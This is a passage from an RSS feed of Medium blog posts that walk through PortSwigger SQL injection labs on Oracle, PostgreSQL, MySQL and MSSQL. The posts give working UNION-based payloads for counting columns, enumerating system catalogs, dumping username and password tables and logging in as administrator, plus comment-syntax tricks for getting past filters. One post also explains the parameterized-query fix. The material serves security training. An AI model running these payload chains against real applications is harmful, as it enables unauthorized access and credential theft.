1<br>Example: Error at 4 → 4 - 1 = 3 columns</pre><h3>Response Code Guide</h3><pre>200 OK           → Column count matches! ✅<br>500 Server Error → Column count wrong, keep testing ❌</pre><h3>Common Column Counts</h3><pre>E-commerce apps:  3-5 columns (id, name, price, description, image)<br>User tables:      2-4 columns (id, username, password, email)<br>Blog posts:       4-6 columns (id, title, body, author, date, views)</pre><h3>Pro Tips</h3><pre>✓ Start with NULL method for reliability<br>✓ Switch to ORDER BY to confirm visually<br>✓ Hidden columns (like ID) won&#39;t show in response<br>✓ URL encode in Burp: Ctrl+U<br>✓ Comment styles: -- (MySQL/PostgreSQL), # (MySQL)</pre><h3>🎯 Why Each Method Works</h3><p><strong>NULL Injection:</strong></p><ul><li><strong>Advantage:</strong> Guaranteed to work on any database</li><li><strong>Disadvantage:</strong> More requests needed</li><li><strong>Use when:</strong> Automating attacks or unsure of database type</li></ul><p><strong>ORDER BY:</strong></p><ul><li><strong>Advantage:</strong> Visual confirmation in browser, fewer requests</li><li><strong>Disadvantage:</strong> Less precise with hidden columns</li><li><strong>Use when:</strong> Manual testing or need to see column behavior</li></ul><p><em>Remember:</em> Column count discovery is the foundation of UNION attacks. Get this wrong and nothing else will work. Always verify with both methods when learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aba8630fedb2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Oracle Database Enumeration]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-oracle-database-enumeration-578dfc281c70?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/578dfc281c70</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 15:31:56 GMT</pubDate>
            <atom:updated>2025-10-10T15:31:56.785Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Extract usernames and passwords from an Oracle database by enumerating tables and columns through UNION-based SQL injection.</p><h3>💡 The Flaw</h3><p>Oracle databases require every SELECT statement to include a FROM clause. This is exploited using the built-in dual table (a dummy table with one row) to craft UNION injections that pull metadata from Oracle&#39;s system catalogs.</p><h3>🔍 Detection</h3><p><strong>Test for SQL injection:</strong></p><pre>&#39; OR 1=1--</pre><p>If you get a syntax error → SQL injection exists.</p><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Find Number of Columns</h3><p><strong>Action:</strong> Use ORDER BY to determine column count</p><p><em>Why:</em> UNION requires matching column counts between queries.</p><p><strong>Payloads:</strong></p><pre>&#39; ORDER BY 1--<br>&#39; ORDER BY 2--<br>&#39; ORDER BY 3--  ← 500 error = only 2 columns exist</pre><p><em>What happens:</em> ORDER BY 3 fails → confirms the vulnerable query returns exactly <strong>2 columns</strong>.</p><h3>Step 2: Confirm Columns Accept Text (Oracle-Specific)</h3><p><strong>Action:</strong> Test if columns support strings using Oracle’s dual table</p><p><em>Why:</em> Oracle requires a FROM clause in every SELECT. The dual table is a dummy table that exists in all Oracle databases.</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39; FROM dual--</pre><p><em>Breakdown:</em></p><ul><li>&#39;abc&#39;,&#39;def&#39; = two text values matching the 2-column requirement</li><li>FROM dual = Oracle&#39;s mandatory table reference (dual is a built-in single-row table)</li><li>If successful → both columns support text data</li><li><strong>Key difference from PostgreSQL/MySQL:</strong> You MUST include FROM dual</li></ul><h3>Step 3: List All Tables</h3><p><strong>Action:</strong> Extract table names from Oracle’s system catalog</p><p><em>Why:</em> We need to find which table stores user credentials (likely named USERS_something).</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT table_name,NULL FROM all_tables--</pre><p><em>Breakdown:</em></p><ul><li>all_tables = Oracle&#39;s catalog containing all accessible tables</li><li>table_name = column in all_tables that stores table names</li><li>NULL = fills the second required column</li></ul><p><em>Result:</em> Look for custom tables with USERS in the name (e.g., USERS_KFHAPW)</p><p><em>Why </em><em>all_tables?</em> Oracle uses different system views than PostgreSQL:</p><ul><li>PostgreSQL: information_schema.tables</li><li>Oracle: all_tables</li></ul><h3>Step 4: Extract Column Names</h3><p><strong>Action:</strong> Find which columns exist in the users table</p><p><em>Why:</em> We need the exact column names storing usernames and passwords (they’re randomized).</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name=&#39;USERS_KFHAPW&#39;--</pre><p><em>Breakdown:</em></p><ul><li>all_tab_columns = Oracle&#39;s metadata about columns (equivalent to PostgreSQL&#39;s information_schema.columns)</li><li>WHERE table_name=&#39;USERS_KFHAPW&#39; = filter for only our target table</li><li><strong>Important:</strong> Oracle table names are stored in UPPERCASE by default</li><li>Output reveals column names like USERNAME_ABCDEF and PASSWORD_GHIJKL</li></ul><p><em>Common mistake:</em> Forgetting that Oracle stores table names in uppercase (USERS_KFHAPW, not users_kfhapw)</p><h3>Step 5: Dump Usernames and Passwords</h3><p><strong>Action:</strong> Extract the actual credentials</p><p><em>Why:</em> Now that we know the table and column names, we can SELECT the data directly.</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT USERNAME_ABCDEF,PASSWORD_GHIJKL FROM USERS_KFHAPW--</pre><p><em>What it does:</em></p><ul><li>Pulls all rows from the users table</li><li>Displays in the application response</li><li>Find the administrator row and copy the password</li></ul><h3>Step 6: Login as Administrator</h3><p><strong>Action:</strong> Use extracted credentials</p><p>Navigate to /login, enter:</p><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> [extracted password]</li></ul><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>Oracle quirk:</strong> Every SELECT needs FROM → Use the built-in dual table</li><li><strong>System catalogs differ:</strong></li></ol><ul><li>Oracle: all_tables, all_tab_columns</li><li>PostgreSQL: information_schema.tables, information_schema.columns</li></ul><ol><li><strong>Case sensitivity:</strong> Oracle stores table names in UPPERCASE by default</li><li><strong>Attack chain:</strong> Columns → Tables → Column names in target table → Data</li><li><strong>The </strong><strong>dual table is your friend</strong> → Single-row dummy table for Oracle queries</li></ol><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept the category request</li><li>Send to Repeater (Ctrl+R)</li><li>Turn off intercept</li><li>Modify the category parameter with payloads</li><li>Press Ctrl+U to URL-encode</li><li>Send and analyze response</li></ol><h3>📌 Quick Reference (Oracle flavor)</h3><p><strong>Step 1 — Column count</strong></p><pre>&#39; ORDER BY n--</pre><p><strong>Step 2 — Text support</strong></p><pre>&#39; UNION SELECT &#39;a&#39;,&#39;b&#39; FROM dual--</pre><p><strong>Step 3 — Table names</strong></p><pre>&#39; UNION SELECT table_name,NULL FROM all_tables--</pre><p><strong>Step 4 — Column names (specific table)</strong></p><pre>&#39; UNION SELECT column_name,NULL <br>FROM all_tab_columns <br>WHERE table_name=&#39;USERS_XXX&#39;--</pre><p><strong>Step 5 — Extract data</strong></p><pre>&#39; UNION SELECT USERNAME_XXX,PASSWORD_XXX <br>FROM USERS_XXX--</pre><h3>⚠️ Oracle vs PostgreSQL Differences</h3><p><strong>Mandatory FROM</strong></p><ul><li>Oracle → FROM dual required</li><li>PostgreSQL → FROM is optional</li></ul><p><strong>Tables catalog</strong></p><ul><li>Oracle → all_tables</li><li>PostgreSQL → information_schema.tables</li></ul><p><strong>Columns catalog</strong></p><ul><li>Oracle → all_tab_columns</li><li>PostgreSQL → information_schema.columns</li></ul><p><strong>Case sensitivity</strong></p><ul><li>Oracle → defaults to <strong>UPPERCASE</strong></li><li>PostgreSQL → defaults to <strong>lowercase</strong></li></ul><p><strong>Dummy table</strong></p><ul><li>Oracle → dual</li><li>PostgreSQL → not needed</li></ul><p><em>Remember:</em> Oracle is stricter about SQL syntax. Always include FROM dual when testing column types, and remember table names are stored in UPPERCASE.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=578dfc281c70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: Database Enumeration on Non-Oracle Databases]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-database-enumeration-on-non-oracle-databases-414b6e221cc3?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/414b6e221cc3</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 15:26:46 GMT</pubDate>
            <atom:updated>2025-10-10T15:26:46.245Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>🎯 Goal</h3><p>Extract usernames and passwords from a database by enumerating table and column names through UNION-based SQL injection.</p><h3>💡 The Flaw</h3><p>The application doesn’t sanitize the category parameter, allowing SQL injection. We can append UNION SELECT queries to pull data from information_schema (PostgreSQL&#39;s metadata tables) to map the entire database structure.</p><h3>🔍 Detection</h3><p><strong>Test for SQL injection:</strong></p><pre>&#39; OR 1=1--</pre><p>If you get an internal server error → SQL injection exists.</p><h3>⚔️ Exploitation Flow</h3><h3>Step 1: Find Number of Columns</h3><p><strong>Action:</strong> Use ORDER BY to determine column count</p><p><em>Why:</em> UNION requires matching column counts. We increment until we hit an error.</p><p><strong>Payloads:</strong></p><pre>&#39; ORDER BY 1--<br>&#39; ORDER BY 2--<br>&#39; ORDER BY 3--  ← Internal error = only 2 columns exist</pre><p><em>What happens:</em> ORDER BY 3 fails → confirms the vulnerable query returns exactly <strong>2 columns</strong>.</p><h3>Step 2: Confirm Columns Accept Text</h3><p><strong>Action:</strong> Test if both columns can hold strings</p><p><em>Why:</em> We need text-compatible columns to extract usernames/passwords (strings). NULL works with any data type.</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;--</pre><p><em>What it does:</em></p><ul><li>&#39;abc&#39;,&#39;def&#39; = two text values matching the 2-column requirement</li><li>If successful → both columns support text data</li><li>Output appears in the application response</li></ul><h3>Step 3: Identify Database Type</h3><p><strong>Action:</strong> Fingerprint the database version</p><p><em>Why:</em> Different databases use different syntax. PostgreSQL uses information_schema.tables, Oracle uses all_tables.</p><p><strong>Payload (PostgreSQL):</strong></p><pre>&#39; UNION SELECT version(),NULL--</pre><p><em>What happens:</em></p><ul><li>200 OK response → PostgreSQL confirmed</li><li>Now we know to use PostgreSQL-specific queries</li></ul><h3>Step 4: List All Tables</h3><p><strong>Action:</strong> Extract table names from the database</p><p><em>Why:</em> We need to find which table stores user credentials (likely named users).</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT table_name,NULL FROM information_schema.tables--</pre><p><em>Breakdown:</em></p><ul><li>information_schema.tables = PostgreSQL&#39;s catalog of all tables</li><li>table_name = column containing table names</li><li>NULL = fills the second required column</li></ul><p><em>Result:</em> Look for tables with users in the name (e.g., users_xka7bp)</p><h3>Step 5: Extract Column Names</h3><p><strong>Action:</strong> Find which columns exist in the users table</p><p><em>Why:</em> We need the exact column names storing usernames and passwords.</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name=&#39;users_xka7bp&#39;--</pre><p><em>Breakdown:</em></p><ul><li>information_schema.columns = metadata about columns</li><li>WHERE table_name=&#39;users_xka7bp&#39; = filter for only our target table</li><li>Output reveals column names like username_ahtkov and password_mjksfs</li></ul><h3>Step 6: Dump Usernames and Passwords</h3><p><strong>Action:</strong> Extract the actual credentials</p><p><em>Why:</em> Now that we know the table and column names, we can SELECT the data directly.</p><p><strong>Payload:</strong></p><pre>&#39; UNION SELECT username_ahtkov,password_mjksfs FROM users_xka7bp--</pre><p><em>What it does:</em></p><ul><li>Pulls all rows from the users table</li><li>Displays in the application response</li><li>Find the administrator row and copy the password</li></ul><h3>Step 7: Login as Administrator</h3><p><strong>Action:</strong> Use extracted credentials</p><p>Navigate to /login, enter:</p><ul><li><strong>Username:</strong> administrator</li><li><strong>Password:</strong> [extracted password]</li></ul><p><strong>Lab solved. ✅</strong></p><h3>🧠 Key Takeaways</h3><ol><li><strong>UNION attacks require column count matching</strong> → Use ORDER BY to find it</li><li><strong>information_schema is the database&#39;s phone book</strong> → Contains metadata about tables/columns</li><li><strong>Attack chain:</strong> Columns → Database type → Tables → Columns in target table → Data</li><li><strong>Always URL-encode payloads</strong> in Burp (Ctrl+U)</li><li><strong>Comment out the rest of the query</strong> with -- to avoid syntax errors</li></ol><h3>🛠️ Burp Suite Workflow</h3><ol><li>Intercept the category request</li><li>Send to Repeater (Ctrl+R)</li><li>Turn off intercept</li><li>Modify the category parameter with payloads</li><li>Press Ctrl+U to URL-encode</li><li>Send and analyze response</li></ol><h3>📌 SQLi Cheatsheet (Quick Steps)</h3><p><strong>Step 1 — Column count</strong></p><pre>&#39; ORDER BY n--</pre><p>Step 2 — Test text output</p><pre>&#39; UNION SELECT &#39;a&#39;,&#39;b&#39;--</pre><p>Step 3 — Identify DB type / version</p><pre>&#39; UNION SELECT version(),NULL--</pre><p>Step 4 — List table names</p><pre>&#39; UNION SELECT table_name,NULL FROM information_schema.tables--</pre><p>Step 5 — List column names of a table</p><pre>&#39; UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name=&#39;...&#39;--</pre><p>Step 6 — Extract data</p><pre>&#39; UNION SELECT username,password FROM users--</pre><p><em>Remember:</em> Every payload builds on the previous discovery. It’s a reconnaissance → exploitation chain.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=414b6e221cc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection UNION Attack — MySQL/Microsoft Version]]></title>
            <link>https://medium.com/@cipher0x00/sql-injection-union-attack-mysql-microsoft-version-b725dd640d18?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b725dd640d18</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 15:26:45 GMT</pubDate>
            <atom:updated>2025-10-10T15:26:45.948Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL Injection UNION Attack — MySQL/Microsoft Version</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>Lab Objective</h3><p>Use UNION-based SQL injection to retrieve and display MySQL or Microsoft SQL Server database version.</p><h3>The Vulnerability: UNION SQLi (Non-Oracle)</h3><p><strong>Key Difference from Oracle:</strong> MySQL and Microsoft SQL Server do NOT require a FROM clause in SELECT statements. This makes UNION attacks simpler.</p><pre>-- ✅ Works in MySQL/MSSQL (no FROM needed)<br>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;#</pre><pre>-- ❌ Fails in Oracle (needs FROM dual)<br>&#39; UNION SELECT &#39;abc&#39;,&#39;def&#39;--</pre><p><strong>Attack Goal:</strong> Extract database version using @@version (MySQL/MSSQL syntax).</p><h3>Comment Character Differences</h3><h3>Critical: Not All Databases Accept --</h3><p><strong>Oracle/PostgreSQL:</strong></p><pre>-- Comment syntax<br>&#39; OR 1=1--</pre><p><strong>MySQL:</strong></p><pre># Hash comment (preferred)<br>&#39; OR 1=1#</pre><pre>-- Double dash (requires space after)<br>&#39; OR 1=1-- <br>           ↑<br>    Space required!</pre><p><strong>Microsoft SQL Server:</strong></p><pre>-- Double dash works<br>&#39; OR 1=1--</pre><pre>/* Block comment also works */<br>&#39; OR 1=1/*</pre><p><strong>Why This Lab Uses </strong><strong>#:</strong> The application rejects -- characters, likely due to:</p><ul><li>WAF (Web Application Firewall) filtering</li><li>Input sanitization attempting to block SQLi</li><li>URL encoding issues with trailing spaces</li></ul><p><strong>Solution:</strong> Use # for MySQL (cleaner, no space needed).</p><h3>Recon Phase</h3><h3>Step 1: Confirm SQL Injection</h3><ul><li><strong>Action:</strong> Inject single quote: ?category=&#39;</li><li><strong>Result:</strong> Internal Server Error</li><li><strong>Why:</strong> Breaks SQL syntax → vulnerable</li></ul><h3>Step 2: Determine Column Count</h3><h4>Attempt 1: Using -- Comment</h4><pre>&#39; ORDER BY 1--</pre><p><strong>Result:</strong> ❌ Internal Server Error</p><p><strong>Why It Failed:</strong></p><ul><li>Application blocks -- characters</li><li>Could be WAF, input filter, or URL parsing issue</li><li>Need alternative comment syntax</li></ul><h4>Attempt 2: Using # Comment</h4><pre>&#39; ORDER BY 1#    → ✅ 200 OK (column 1 exists)<br>&#39; ORDER BY 2#    → ✅ 200 OK (column 2 exists)<br>&#39; ORDER BY 3#    → ❌ 500 Error (column 3 doesn&#39;t exist)</pre><p><strong>Conclusion:</strong> Query returns <strong>2 columns</strong></p><p><strong>Mathematical Deduction:</strong></p><pre>If ORDER BY 2 works but ORDER BY 3 fails:<br>Column count = 3 - 1 = 2 columns</pre><h3>Step 3: Identify Column Data Types</h3><p><strong>Observation from Browser:</strong></p><ul><li>First column: Product name (text)</li><li>Second column: Product description (text)</li><li>Both likely accept strings</li></ul><p><strong>Test Payload:</strong></p><pre>&#39; UNION SELECT &#39;a&#39;,&#39;a&#39;#</pre><p><strong>Result:</strong> ✅ 200 OK, both ‘a’ values display on page</p><p><strong>Conclusion:</strong> Both columns accept TEXT data.</p><p><strong>Why We Skip Iterative Testing:</strong> Since we can see text in both columns on the page, we know they accept strings. In real engagements, test each column individually:</p><pre>&#39; UNION SELECT &#39;a&#39;,NULL#    -- Test column 1<br>&#39; UNION SELECT NULL,&#39;a&#39;#    -- Test column 2</pre><h3>Database Fingerprinting</h3><h3>How to Identify the Database</h3><p><strong>Test 1: Does it need FROM clause?</strong></p><pre>&#39; UNION SELECT &#39;test&#39;,&#39;test&#39;#</pre><ul><li>✅ Works → MySQL/MSSQL/PostgreSQL</li><li>❌ Fails → Oracle (needs FROM dual)</li></ul><p><strong>Test 2: Comment syntax</strong></p><pre>&#39; OR 1=1#     → Works = MySQL<br>&#39; OR 1=1--    → Works = MSSQL/PostgreSQL/Oracle</pre><p><strong>Test 3: Version syntax</strong></p><pre>@@version       → MySQL/MSSQL<br>version()       → MySQL/PostgreSQL<br>BANNER          → Oracle</pre><h3>Exploitation</h3><h3>Final Payload: &#39; UNION SELECT @@version, NULL#</h3><p>Let’s break it down:</p><h3>Payload Component Breakdown</h3><h4>1. Close the String: &#39;</h4><pre>SELECT name, description FROM products WHERE category = &#39;&#39;<br>                                                        ↑<br>                                            Closes the string</pre><h4>2. UNION Statement: UNION SELECT</h4><pre>SELECT name, description FROM products WHERE category = &#39;&#39;<br>UNION SELECT @@version, NULL</pre><p>Combines original query with our injected query.</p><h4>3. Version Command: @@version</h4><p><strong>What is </strong><strong>@@version?</strong></p><ul><li>Global variable in MySQL and Microsoft SQL Server</li><li>Contains complete version information</li><li>Accessible without special privileges</li></ul><p><strong>MySQL Output Example:</strong></p><pre>8.0.23-0ubuntu0.20.04.1</pre><p><strong>Microsoft SQL Server Output Example:</strong></p><pre>Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)</pre><p><strong>Why </strong><strong>@@version and not something else?</strong></p><ul><li>Universal across MySQL/MSSQL</li><li>No table access needed</li><li>Single function call returns full version</li></ul><h4>4. Second Column: NULL</h4><pre>UNION SELECT @@version, NULL<br>                       ↑<br>             Fills second column requirement</pre><p><strong>Why NULL?</strong></p><ul><li>Original query has 2 columns</li><li>We only need 1st column for version</li><li>NULL is compatible with any data type</li><li>Cleaner than dummy string</li></ul><h4>5. Comment Character: #</h4><pre>... @@version, NULL#&#39; AND released = 1<br>                    ^^^^^^^^^^^^^^^^^^^<br>                    Everything ignored</pre><p><strong>Why </strong><strong># instead of </strong><strong>--?</strong></p><ul><li>Application blocks -- (likely security filter)</li><li># is MySQL-specific comment</li><li>No trailing space required</li><li>Cleaner URL encoding</li></ul><h3>Why This Payload Works</h3><h3>The Complete Injection Flow</h3><p><strong>Original Query:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;USER_INPUT&#39; <br>AND released = 1</pre><p><strong>After Injection:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;&#39; <br>UNION SELECT @@version, NULL#&#39; <br>AND released = 1</pre><p><strong>What Actually Executes:</strong></p><pre>SELECT name, description <br>FROM products <br>WHERE category = &#39;&#39;<br>UNION <br>SELECT @@version, NULL</pre><p><strong>Result:</strong></p><ol><li>First query: Returns products with empty category (none)</li><li>Second query: Returns database version in first column, NULL in second</li><li>Version string displays on page: 8.0.23 (MySQL)</li></ol><h3>Step-by-Step Execution</h3><h3>Using Burp Suite</h3><h4>Step 1: Intercept Request</h4><pre>GET /filter?category=Accessories HTTP/1.1</pre><h4>Step 2: Send to Repeater</h4><ul><li>Allows multiple testing attempts</li><li>Ctrl+U to URL encode</li></ul><h4>Step 3: Test Column Count (Finding the Right Comment)</h4><pre>Attempt 1: &#39; ORDER BY 1--<br>Result: ❌ 500 Error (application blocks --)</pre><pre>Attempt 2: &#39; ORDER BY 1#<br>Result: ✅ 200 OK (# works!)</pre><pre>Continue: &#39; ORDER BY 2#  → ✅ 200 OK<br>Continue: &#39; ORDER BY 3#  → ❌ 500 Error</pre><pre>Conclusion: 2 columns</pre><h4>Step 4: Test Data Types</h4><pre>Payload: &#39; UNION SELECT &#39;a&#39;,&#39;a&#39;#<br>Encode: Ctrl+U → &#39;+UNION+SELECT+&#39;a&#39;,&#39;a&#39;#<br>Result: ✅ 200 OK, both &#39;a&#39; values display</pre><pre>Conclusion: Both columns accept TEXT</pre><h4>Step 5: Extract Version</h4><pre>Payload: &#39; UNION SELECT @@version, NULL#<br>Encode: &#39;+UNION+SELECT+@@version,+NULL#<br>Result: ✅ Database version displays on page</pre><h3>Comment Syntax: Deep Dive</h3><h3>Why Comment Syntax Matters</h3><p><strong>The Problem:</strong> Different databases use different comment styles, and applications may filter certain characters.</p><h3>MySQL Comment Options</h3><p><strong>1. Hash Comment </strong><strong># (Recommended)</strong></p><pre>&#39; OR 1=1#</pre><ul><li>✅ No space required</li><li>✅ URL-friendly</li><li>✅ MySQL-specific (confirms database type)</li><li>❌ Doesn’t work on MSSQL/Oracle/PostgreSQL</li></ul><p><strong>2. Double Dash </strong><strong>-- (Requires Space)</strong></p><pre>&#39; OR 1=1-- <br>          ↑<br>    Space is CRITICAL</pre><ul><li>✅ Works on most databases</li><li>❌ <strong>Space must be preserved</strong> (URL encoding can break this)</li><li>❌ Often filtered by WAFs</li></ul><p><strong>3. Inline Comment </strong><strong>/**/</strong></p><pre>&#39; OR 1=1/**/</pre><ul><li>✅ Works on most databases</li><li>✅ No space needed</li><li>❌ More verbose</li></ul><h3>URL Encoding Issues with --</h3><p><strong>The Space Problem:</strong></p><pre>-- In SQL: needs trailing space<br>&#39; OR 1=1-- </pre><pre>-- In URL: space gets lost<br>?category=&#39; OR 1=1--</pre><pre>-- Correct URL encoding:<br>?category=&#39; OR 1=1--%20<br>                    ↑↑<br>                  %20 = space</pre><p><strong>Why </strong><strong># is Better for URLs:</strong></p><pre>?category=&#39; OR 1=1#<br>                  ↑<br>            No space needed, always works</pre><h3>Common Mistakes &amp; Fixes</h3><h3>❌ Mistake 1: Using -- Without Space</h3><pre>&#39; UNION SELECT @@version, NULL--</pre><p><strong>Error:</strong> May not work (comment not recognized)<br> <strong>Fix:</strong> Add space: &#39; UNION SELECT @@version, NULL-- OR use #</p><h3>❌ Mistake 2: Forgetting Column Count</h3><pre>&#39; UNION SELECT @@version#</pre><p><strong>Error:</strong> Column count mismatch (1 vs 2)<br> <strong>Fix:</strong> Add NULL: &#39; UNION SELECT @@version, NULL#</p><h3>❌ Mistake 3: Oracle Syntax on MySQL</h3><pre>&#39; UNION SELECT BANNER, NULL FROM v$version--</pre><p><strong>Error:</strong> Table doesn’t exist<br> <strong>Fix:</strong> Use MySQL syntax: &#39; UNION SELECT @@version, NULL#</p><h3>❌ Mistake 4: Wrong Comment Character for Database</h3><pre># on Oracle  → ❌ Fails (Oracle doesn&#39;t recognize #)<br>-- on MySQL  → ⚠️ Works but needs space<br># on MySQL   → ✅ Best choice</pre><h3>Database Version Commands: Quick Reference</h3><p>Database Version Command Example Output MySQL @@version or version() 8.0.23-ubuntu MSSQL @@version Microsoft SQL Server 2019... PostgreSQL version() PostgreSQL 13.2... Oracle SELECT BANNER FROM v$version Oracle Database 11g...</p><h3>Key Takeaways</h3><ol><li><strong>Comment Syntax Matters:</strong> # for MySQL, -- (with space) for others</li><li><strong>No FROM Needed:</strong> MySQL/MSSQL don’t require FROM dual</li><li><strong>@@version is Universal:</strong> Works on both MySQL and MSSQL</li><li><strong>WAF Evasion:</strong> If -- fails, try # or /**/</li><li><strong>Always Match Columns:</strong> Use NULL for unwanted columns</li></ol><h3>The Core Process</h3><pre>1. Confirm SQLi (single quote test)<br>2. Find column count (ORDER BY with correct comment)<br>3. Test data types (UNION SELECT strings)<br>4. Extract version (@@version for MySQL/MSSQL)<br>5. Use # comment (cleaner for URLs)</pre><h3>Comparison: Oracle vs MySQL/MSSQL</h3><p>Feature Oracle MySQL/MSSQL FROM clause Required (FROM dual) Optional Version command BANNER FROM v$version @@version Comment syntax -- (with space) # or -- Complexity Higher Lower</p><p><strong>Why MySQL/MSSQL is Easier:</strong></p><ul><li>No dummy table needed</li><li>Simpler version extraction</li><li>Flexible comment options</li></ul><h3>Defense (Know Thy Enemy)</h3><p><strong>Why This Attack Works:</strong></p><ul><li>String concatenation in SQL queries</li><li>No prepared statements</li><li>Comment characters not filtered consistently</li></ul><p><strong>Proper Fix:</strong></p><pre># ❌ Vulnerable<br>query = f&quot;SELECT name, desc FROM products WHERE category=&#39;{user_input}&#39;&quot;</pre><pre># ✅ Safe (Parameterized Query)<br>query = &quot;SELECT name, desc FROM products WHERE category=?&quot;<br>cursor.execute(query, (category,))</pre><p><strong>WAF Bypass Note:</strong> If application blocks --, attackers will try:</p><ul><li># (MySQL)</li><li>/**/ (most databases)</li><li>URL encoding variations</li><li>Always use parameterized queries as defense</li></ul><h3>Quick Reference Card</h3><p><strong>MySQL/MSSQL UNION SQLi Checklist:</strong></p><ol><li>✅ Test comment syntax: # or -- (with space)</li><li>✅ Find column count: &#39; ORDER BY n#</li><li>✅ Test data types: &#39; UNION SELECT &#39;a&#39;,&#39;b&#39;#</li><li>✅ Extract version: &#39; UNION SELECT @@version,NULL#</li></ol><p><strong>Key Differences from Oracle:</strong></p><ul><li>❌ No FROM dual needed</li><li>✅ Use @@version instead of BANNER</li><li>✅ # comment works (MySQL only)</li></ul><p><strong>Remember:</strong></p><ul><li># = MySQL comment (no space needed)</li><li>-- = Universal but needs trailing space</li><li>@@version = MySQL/MSSQL version variable</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b725dd640d18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection UNION Attack — Oracle Database Version]]></title>
            <link>https://systemweakness.com/sql-injection-union-attack-oracle-database-version-5ddb83fb0382?source=rss-9366d1f0c9f6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ddb83fb0382</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Cipher0x00]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 12:51:24 GMT</pubDate>
            <atom:updated>2025-10-10T13:10:59.032Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL Injection UNION Attack — Oracle Database Version</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*DhkYLyFnNy7jZNCvfxzh-w.jpeg" /></figure><h3>Lab Objective</h3><p>Use UNION-based SQL injection to retrieve and display the Oracle database version string.</p><h3>The Vulnerability: UNION-Based SQLi</h3><p><strong>What is UNION-Based SQL Injection?</strong> UNION allows combining results from multiple SELECT statements. If we can inject a UNION query, we can retrieve data from ANY table in the database, not just what the application intended.</p><p><strong>Why UNION Attacks Work:</strong> The original query returns product data:</p><pre>SELECT name, description FROM products WHERE category = &#39;Gifts&#39;</pre><p>With UNION, we append our own SELECT:</p><pre>SELECT name, description FROM products WHERE category = &#39;Gifts&#39;<br>UNION<br>SELECT username, password FROM users</pre><p>Both queries’ results display on the page.</p><p><strong>Attack Goal:</strong> Extract the Oracle database version using v$version system table.</p><h3>Oracle-Specific Requirements</h3><h3>Critical Difference: The FROM Clause</h3><p><strong>Oracle Rule:</strong> Every SELECT statement MUST have a FROM clause.</p><pre>-- ❌ Fails in Oracle (works in MySQL/PostgreSQL)<br>SELECT &#39;test&#39;</pre><pre>-- ✅ Works in Oracle<br>SELECT &#39;test&#39; FROM dual</pre><p><strong>What is </strong><strong>dual?</strong></p><ul><li>Built-in dummy table in Oracle</li><li>Contains one row, one column</li><li>Used when you need to SELECT without querying actual data</li><li>Accessible to all users</li></ul><p><strong>Why This 